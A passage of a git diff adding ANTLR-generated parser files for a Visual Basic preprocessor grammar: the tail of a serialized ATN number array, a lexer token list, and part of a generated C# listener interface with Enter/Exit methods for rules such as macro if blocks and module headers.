89, 0, 371, 62, 1, 0, 0, 0, 372, 373, 3, 191, 95, 0, 373, 374, 3, 187, 93, 0, 374, 375, 3, 193, 96, 0, 375, 376, 3, 161, 80, 0, 376, 64, 1, 0, 0, 0, 377, 378, 3, 195, 97, 0, 378, 379, 3, 161, 80, 0, 379, 380, 3, 187, 93, 0, 380, 381, 3, 189, 94, 0, 381, 382, 3, 169, 84, 0, 382, 383, 3, 181, 90, 0, 383, 384, 3, 179, 89, 0, 384, 66, 1, 0, 0, 0, 385, 386, 3, 199, 99, 0, 386, 387, 3, 181, 90, 0, 387, 388, 3, 187, 93, 0, 388, 68, 1, 0, 0, 0, 389, 390, 5, 38, 0, 0, 390, 70, 1, 0, 0, 0, 391, 392, 5, 64, 0, 0, 392, 72, 1, 0, 0, 0, 393, 394, 5, 44, 0, 0, 394, 74, 1, 0, 0, 0, 395, 396, 7, 1, 0, 0, 396, 76, 1, 0, 0, 0, 397, 398, 5, 46, 0, 0, 398, 78, 1, 0, 0, 0, 399, 400, 5, 61, 0, 0, 400, 80, 1, 0, 0, 0, 401, 402, 5, 33, 0, 0, 402, 82, 1, 0, 0, 0, 403, 404, 5, 62, 0, 0, 404, 405, 5, 61, 0, 0, 405, 84, 1, 0, 0, 0, 406, 407, 5, 62, 0, 0, 407, 86, 1, 0, 0, 0, 408, 409, 5, 35, 0, 0, 409, 88, 1, 0, 0, 0, 410, 411, 5, 60, 0, 0, 411, 412, 5, 61, 0, 0, 412, 90, 1, 0, 0, 0, 413, 414, 5, 123, 0, 0, 414, 92, 1, 0, 0, 0, 415, 416, 5, 40, 0, 0, 416, 94, 1, 0, 0, 0, 417, 418, 5, 60, 0, 0, 418, 96, 1, 0, 0, 0, 419, 420, 5, 45, 0, 0, 420, 98, 1, 0, 0, 0, 421, 422, 5, 42, 0, 0, 422, 100, 1, 0, 0, 0, 423, 424, 5, 60, 0, 0, 424, 425, 5, 62, 0, 0, 425, 102, 1, 0, 0, 0, 426, 427, 5, 43, 0, 0, 427, 104, 1, 0, 0, 0, 428, 429, 5, 94, 0, 0, 429, 106, 1, 0, 0, 0, 430, 431, 5, 125, 0, 0, 431, 108, 1, 0, 0, 0, 432, 433, 5, 41, 0, 0, 433, 110, 1, 0, 0, 0, 434, 435, 5, 59, 0, 0, 435, 112, 1, 0, 0, 0, 436, 437, 5, 91, 0, 0, 437, 114, 1, 0, 0, 0, 438, 439, 5, 93, 0, 0, 439, 116, 1, 0, 0, 0, 440, 446, 5, 34, 0, 0, 441, 445, 8, 2, 0, 0, 442, 443, 5, 34, 0, 0, 443, 445, 5, 34, 0, 0, 444, 441, 1, 0, 0, 0, 444, 442, 1, 0, 0, 0, 445, 448, 1, 0, 0, 0, 446, 444, 1, 0, 0, 0, 446, 447, 1, 0, 0, 0, 447, 449, 1, 0, 0, 0, 448, 446, 1, 0, 0, 0, 449, 450, 5, 34, 0, 0, 450, 118, 1, 0, 0, 0, 451, 455, 3, 87, 43, 0, 452, 454, 8, 3, 0, 0, 453, 452, 1, 0, 0, 0, 454, 457, 1, 0, 0, 0, 455, 453, 1, 0, 0, 0, 455, 456, 1, 0, 0, 0, 456, 458, 1, 0, 0, 0, 457, 455, 1, 0, 0, 0, 458, 459, 3, 87, 43, 0, 459, 120, 1, 0, 0, 0, 460, 461, 5, 38, 0, 0, 461, 465, 5, 72, 0, 0, 462, 463, 5, 38, 0, 0, 463, 465, 5, 104, 0, 0, 464, 460, 1, 0, 0, 0, 464, 462, 1, 0, 0, 0, 465, 467, 1, 0, 0, 0, 466, 468, 7, 4, 0, 0, 467, 466, 1, 0, 0, 0, 468, 469, 1, 0, 0, 0, 469, 467, 1, 0, 0, 0, 469, 470, 1, 0, 0, 0, 470, 472, 1, 0, 0, 0, 471, 473, 3, 69, 34, 0, 472, 471, 1, 0, 0, 0, 472, 473, 1, 0, 0, 0, 473, 122, 1, 0, 0, 0, 474, 476, 2, 48, 57, 0, 475, 474, 1, 0, 0, 0, 476, 477, 1, 0, 0, 0, 477, 475, 1, 0, 0, 0, 477, 478, 1, 0, 0, 0, 478, 483, 1, 0, 0, 0, 479, 480, 7, 5, 0, 0, 480, 482, 3, 123, 61, 0, 481, 479, 1, 0, 0, 0, 482, 485, 1, 0, 0, 0, 483, 481, 1, 0, 0, 0, 483, 484, 1, 0, 0, 0, 484, 490, 1, 0, 0, 0, 485, 483, 1, 0, 0, 0, 486, 491, 3, 87, 43, 0, 487, 491, 3, 69, 34, 0, 488, 491, 3, 81, 40, 0, 489, 491, 3, 71, 35, 0, 490, 486, 1, 0, 0, 0, 490, 487, 1, 0, 0, 0, 490, 488, 1, 0, 0, 0, 490, 489, 1, 0, 0, 0, 490, 491, 1, 0, 0, 0, 491, 124, 1, 0, 0, 0, 492, 494, 2, 48, 57, 0, 493, 492, 1, 0, 0, 0, 494, 497, 1, 0, 0, 0, 495, 493, 1, 0, 0, 0, 495, 496, 1, 0, 0, 0, 496, 498, 1, 0, 0, 0, 497, 495, 1, 0, 0, 0, 498, 500, 3, 77, 38, 0, 499, 501, 2, 48, 57, 0, 500, 499, 1, 0, 0, 0, 501, 502, 1, 0, 0, 0, 502, 500, 1, 0, 0, 0, 502, 503, 1, 0, 0, 0, 503, 516, 1, 0, 0, 0, 504, 507, 7, 5, 0, 0, 505, 508, 3, 103, 51, 0, 506, 508, 3, 97, 48, 0, 507, 505, 1, 0, 0, 0, 507, 506, 1, 0, 0, 0, 507, 508, 1, 0, 0, 0, 508, 510, 1, 0, 0, 0, 509, 511, 2, 48, 57, 0, 510, 509, 1, 0, 0, 0, 511, 512, 1, 0, 0, 0, 512, 510, 1, 0, 0, 0, 512, 513, 1, 0, 0, 0, 513, 515, 1, 0, 0, 0, 514, 504, 1, 0, 0, 0, 515, 518, 1, 0, 0, 0, 516, 514, 1, 0, 0, 0, 516, 517, 1, 0, 0, 0, 517, 523, 1, 0, 0, 0, 518, 516, 1, 0, 0, 0, 519, 524, 3, 87, 43, 0, 520, 524, 3, 69, 34, 0, 521, 524, 3, 81, 40, 0, 522, 524, 3, 71, 35, 0, 523, 519, 1, 0, 0, 0, 523, 520, 1, 0, 0, 0, 523, 521, 1, 0, 0, 0, 523, 522, 1, 0, 0, 0, 523, 524, 1, 0, 0, 0, 524, 126, 1, 0, 0, 0, 525, 527, 3, 87, 43, 0, 526, 528, 3, 151, 75, 0, 527, 526, 1, 0, 0, 0, 528, 529, 1, 0, 0, 0, 529, 527, 1, 0, 0, 0, 529, 530, 1, 0, 0, 0, 530, 128, 1, 0, 0, 0, 531, 532, 5, 38, 0, 0, 532, 533, 5, 79, 0, 0, 533, 535, 1, 0, 0, 0, 534, 536, 7, 6, 0, 0, 535, 534, 1, 0, 0, 0, 536, 537, 1, 0, 0, 0, 537, 535, 1, 0, 0, 0, 537, 538, 1, 0, 0, 0, 538, 540, 1, 0, 0, 0, 539, 541, 3, 69, 34, 0, 540, 539, 1, 0, 0, 0, 540, 541, 1, 0, 0, 0, 541, 130, 1, 0, 0, 0, 542, 544, 3, 91, 45, 0, 543, 545, 7, 4, 0, 0, 544, 543, 1, 0, 0, 0, 545, 546, 1, 0, 0, 0, 546, 544, 1, 0, 0, 0, 546, 547, 1, 0, 0, 0, 547, 548, 1, 0, 0, 0, 548, 550, 3, 97, 48, 0, 549, 551, 7, 4, 0, 0, 550, 549, 1, 0, 0, 0, 551, 552, 1, 0, 0, 0, 552, 550, 1, 0, 0, 0, 552, 553, 1, 0, 0, 0, 553, 554, 1, 0, 0, 0, 554, 556, 3, 97, 48, 0, 555, 557, 7, 4, 0, 0, 556, 555, 1, 0, 0, 0, 557, 558, 1, 0, 0, 0, 558, 556, 1, 0, 0, 0, 558, 559, 1, 0, 0, 0, 559, 560, 1, 0, 0, 0, 560, 562, 3, 97, 48, 0, 561, 563, 7, 4, 0, 0, 562, 561, 1, 0, 0, 0, 563, 564, 1, 0, 0, 0, 564, 562, 1, 0, 0, 0, 564, 565, 1, 0, 0, 0, 565, 566, 1, 0, 0, 0, 566, 568, 3, 97, 48, 0, 567, 569, 7, 4, 0, 0, 568, 567, 1, 0, 0, 0, 569, 570, 1, 0, 0, 0, 570, 568, 1, 0, 0, 0, 570, 571, 1, 0, 0, 0, 571, 572, 1, 0, 0, 0, 572, 573, 3, 107, 53, 0, 573, 132, 1, 0, 0, 0, 574, 576, 3, 141, 70, 0, 575, 574, 1, 0, 0, 0, 575, 576, 1, 0, 0, 0, 576, 577, 1, 0, 0, 0, 577, 579, 3, 5, 2, 0, 578, 580, 3, 141, 70, 0, 579, 578, 1, 0, 0, 0, 579, 580, 1, 0, 0, 0, 580, 134, 1, 0, 0, 0, 581, 585, 3, 149, 74, 0, 582, 584, 3, 151, 75, 0, 583, 582, 1, 0, 0, 0, 584, 587, 1, 0, 0, 0, 585, 583, 1, 0, 0, 0, 585, 586, 1, 0, 0, 0, 586, 136, 1, 0, 0, 0, 587, 585, 1, 0, 0, 0, 588, 590, 3, 141, 70, 0, 589, 588, 1, 0, 0, 0, 589, 590, 1, 0, 0, 0, 590, 598, 1, 0, 0, 0, 591, 599, 5, 39, 0, 0, 592, 594, 5, 58, 0, 0, 593, 592, 1, 0, 0, 0, 593, 594, 1, 0, 0, 0, 594, 595, 1, 0, 0, 0, 595, 596, 3, 145, 72, 0, 596, 597, 5, 32, 0, 0, 597, 599, 1, 0, 0, 0, 598, 591, 1, 0, 0, 0, 598, 593, 1, 0, 0, 0, 599, 604, 1, 0, 0, 0, 600, 603, 3, 139, 69, 0, 601, 603, 8, 7, 0, 0, 602, 600, 1, 0, 0, 0, 602, 601, 1, 0, 0, 0, 603, 606, 1, 0, 0, 0, 604, 602, 1, 0, 0, 0, 604, 605, 1, 0, 0, 0, 605, 138, 1, 0, 0, 0, 606, 604, 1, 0, 0, 0, 607, 608, 5, 32, 0, 0, 608, 610, 5, 95, 0, 0, 609, 611, 5, 13, 0, 0, 610, 609, 1, 0, 0, 0, 610, 611, 1, 0, 0, 0, 611, 612, 1, 0, 0, 0, 612, 613, 5, 10, 0, 0, 613, 614, 1, 0, 0, 0, 614, 615, 6, 69, 0, 0, 615, 140, 1, 0, 0, 0, 616, 618, 7, 8, 0, 0, 617, 616, 1, 0, 0, 0, 618, 619, 1, 0, 0, 0, 619, 617, 1, 0, 0, 0, 619, 620, 1, 0, 0, 0, 620, 142, 1, 0, 0, 0, 621, 622, 9, 0, 0, 0, 622, 144, 1, 0, 0, 0, 623, 624, 3, 187, 93, 0, 624, 625, 3, 161, 80, 0, 625, 626, 3, 177, 88, 0, 626, 146, 1, 0, 0, 0, 627, 629, 3, 141, 70, 0, 628, 627, 1, 0, 0, 0, 628, 629, 1, 0, 0, 0, 629, 630, 1, 0, 0, 0, 630, 632, 3, 135, 67, 0, 631, 633, 3, 141, 70, 0, 632, 631, 1, 0, 0, 0, 632, 633, 1, 0, 0, 0, 633, 634, 1, 0, 0, 0, 634, 636, 3, 3, 1, 0, 635, 637, 3, 141, 70, 0, 636, 635, 1, 0, 0, 0, 636, 637, 1, 0, 0, 0, 637, 148, 1, 0, 0, 0, 638, 639, 7, 9, 0, 0, 639, 150, 1, 0, 0, 0, 640, 641, 7, 10, 0, 0, 641, 152, 1, 0, 0, 0, 642, 643, 7, 11, 0, 0, 643, 154, 1, 0, 0, 0, 644, 645, 7, 12, 0, 0, 645, 156, 1, 0, 0, 0, 646, 647, 7, 13, 0, 0, 647, 158, 1, 0, 0, 0, 648, 649, 7, 14, 0, 0, 649, 160, 1, 0, 0, 0, 650, 651, 7, 5, 0, 0, 651, 162, 1, 0, 0, 0, 652, 653, 7, 15, 0, 0, 653, 164, 1, 0, 0, 0, 654, 655, 7, 16, 0, 0, 655, 166, 1, 0, 0, 0, 656, 657, 7, 17, 0, 0, 657, 168, 1, 0, 0, 0, 658, 659, 7, 18, 0, 0, 659, 170, 1, 0, 0, 0, 660, 661, 7, 19, 0, 0, 661, 172, 1, 0, 0, 0, 662, 663, 7, 20, 0, 0, 663, 174, 1, 0, 0, 0, 664, 665, 7, 21, 0, 0, 665, 176, 1, 0, 0, 0, 666, 667, 7, 22, 0, 0, 667, 178, 1, 0, 0, 0, 668, 669, 7, 23, 0, 0, 669, 180, 1, 0, 0, 0, 670, 671, 7, 24, 0, 0, 671, 182, 1, 0, 0, 0, 672, 673, 7, 25, 0, 0, 673, 184, 1, 0, 0, 0, 674, 675, 7, 26, 0, 0, 675, 186, 1, 0, 0, 0, 676, 677, 7, 27, 0, 0, 677, 188, 1, 0, 0, 0, 678, 679, 7, 28, 0, 0, 679, 190, 1, 0, 0, 0, 680, 681, 7, 29, 0, 0, 681, 192, 1, 0, 0, 0, 682, 683, 7, 30, 0, 0, 683, 194, 1, 0, 0, 0, 684, 685, 7, 31, 0, 0, 685, 196, 1, 0, 0, 0, 686, 687, 7, 32, 0, 0, 687, 198, 1, 0, 0, 0, 688, 689, 7, 33, 0, 0, 689, 200, 1, 0, 0, 0, 690, 691, 7, 34, 0, 0, 691, 202, 1, 0, 0, 0, 692, 693, 7, 35, 0, 0, 693, 204, 1, 0, 0, 0, 39, 0, 212, 216, 444, 446, 455, 464, 469, 472, 477, 483, 490, 495, 502, 507, 512, 516, 523, 529, 537, 540, 546, 552, 558, 564, 570, 575, 579, 585, 589, 593, 598, 602, 604, 610, 619, 628, 632, 636, 1, 0, 1, 0] \ No newline at end of file diff --git a/Sources/vbSparkle/VBPreprocessorsLexer.tokens b/Sources/vbSparkle/VBPreprocessorsLexer.tokens new file mode 100644 index 0000000..0a03e29 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsLexer.tokens @@ -0,0 +1,95 @@ +MACRO_CONST=1 +AND=2 +ATTRIBUTE=3 +BEGIN=4 +BEGINPROPERTY=5 +CLASS=6 +CONST=7 +ELSE=8 +ELSEIF=9 +END_IF=10 +END=11 +ENDPROPERTY=12 +EQV=13 +FALSE=14 +IF=15 +IMP=16 +IS=17 +LIKE=18 +MACRO_IF=19 +MACRO_ELSEIF=20 +MACRO_ELSE=21 +MACRO_END_IF=22 +MOD=23 +NOT=24 +NOTHING=25 +NULL=26 +OBJECT=27 +OR=28 +THEN=29 +TRUE=30 +VERSION=31 +XOR=32 +AMPERSAND=33 +AT=34 +COMMA=35 +DIV=36 +DOT=37 +EQ=38 +EXCLAMATIONMARK=39 +GEQ=40 +GT=41 +HASH=42 +LEQ=43 +LBRACE=44 +LPAREN=45 +LT=46 +MINUS=47 +MULT=48 +NEQ=49 +PLUS=50 +POW=51 +RBRACE=52 +RPAREN=53 +SEMICOLON=54 +L_SQUARE_BRACKET=55 +R_SQUARE_BRACKET=56 +STRINGLITERAL=57 +DATELITERAL=58 +HEXLITERAL=59 +INTEGERLITERAL=60 +DOUBLELITERAL=61 +FILENUMBER=62 +OCTALLITERAL=63 +GUID=64 +NEWLINE=65 +IDENTIFIER=66 +COMMENT=67 +LINE_CONTINUATION=68 +WS=69 +ANYCHAR=70 +REM=71 +LABEL_L=72 +'&'=33 +'@'=34 +','=35 +'.'=37 +'='=38 +'!'=39 +'>='=40 +'>'=41 +'#'=42 +'<='=43 +'{'=44 +'('=45 +'<'=46 +'-'=47 +'*'=48 +'<>'=49 +'+'=50 +'^'=51 +'}'=52 +')'=53 +';'=54 +'['=55 +']'=56 diff --git a/Sources/vbSparkle/VBPreprocessorsListener.cs b/Sources/vbSparkle/VBPreprocessorsListener.cs new file mode 100644 index 0000000..32d4946 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsListener.cs @@ -0,0 +1,569 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using Antlr4.Runtime.Misc; +using IParseTreeListener = Antlr4.Runtime.Tree.IParseTreeListener; +using IToken = Antlr4.Runtime.IToken; + +/// +/// This interface defines a complete listener for a parse tree produced by +/// . +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public interface IVBPreprocessorsListener : IParseTreeListener { + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context); + /// + /// Enter a parse tree produced by the vmacroIf + /// labeled alternative in . + /// + /// The parse tree. + void EnterVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context); + /// + /// Exit a parse tree produced by the vmacroIf + /// labeled alternative in . + /// + /// The parse tree. + void ExitVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context); + /// + /// Enter a parse tree produced by the vmacroConst + /// labeled alternative in . + /// + /// The parse tree. + void EnterVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context); + /// + /// Exit a parse tree produced by the vmacroConst + /// labeled alternative in . + /// + /// The parse tree. + void ExitVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context); + /// + /// Enter a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// + /// The parse tree. + void EnterVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context); + /// + /// Exit a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// + /// The parse tree. + void ExitVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context); + /// + /// Enter a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// + /// The parse tree. + void EnterVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context); + /// + /// Exit a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// + /// The parse tree. + void ExitVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context); + /// + /// Enter a parse tree produced by the vlineLabel + /// labeled alternative in . + /// + /// The parse tree. + void EnterVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context); + /// + /// Exit a parse tree produced by the vlineLabel + /// labeled alternative in . + /// + /// The parse tree. + void ExitVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context); + /// + /// Enter a parse tree produced by . + /// + /// The parse tree. + void EnterIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context); + /// + /// Exit a parse tree produced by . + /// + /// The parse tree. + void ExitIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context); + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context); + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context); + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context); + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context); + /// + /// Enter a parse tree produced by the vsConstant + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context); + /// + /// Exit a parse tree produced by the vsConstant + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context); + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context); + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context); + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void EnterVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context); + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// + /// The parse tree. + void ExitVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context); + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtColor([NotNull] VBPreprocessorsParser.LtColorContext context); + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtColor([NotNull] VBPreprocessorsParser.LtColorContext context); + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context); + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// + /// The parse tree. + void ExitLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context); + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// + /// The parse tree. + void EnterLtDate([NotNull] 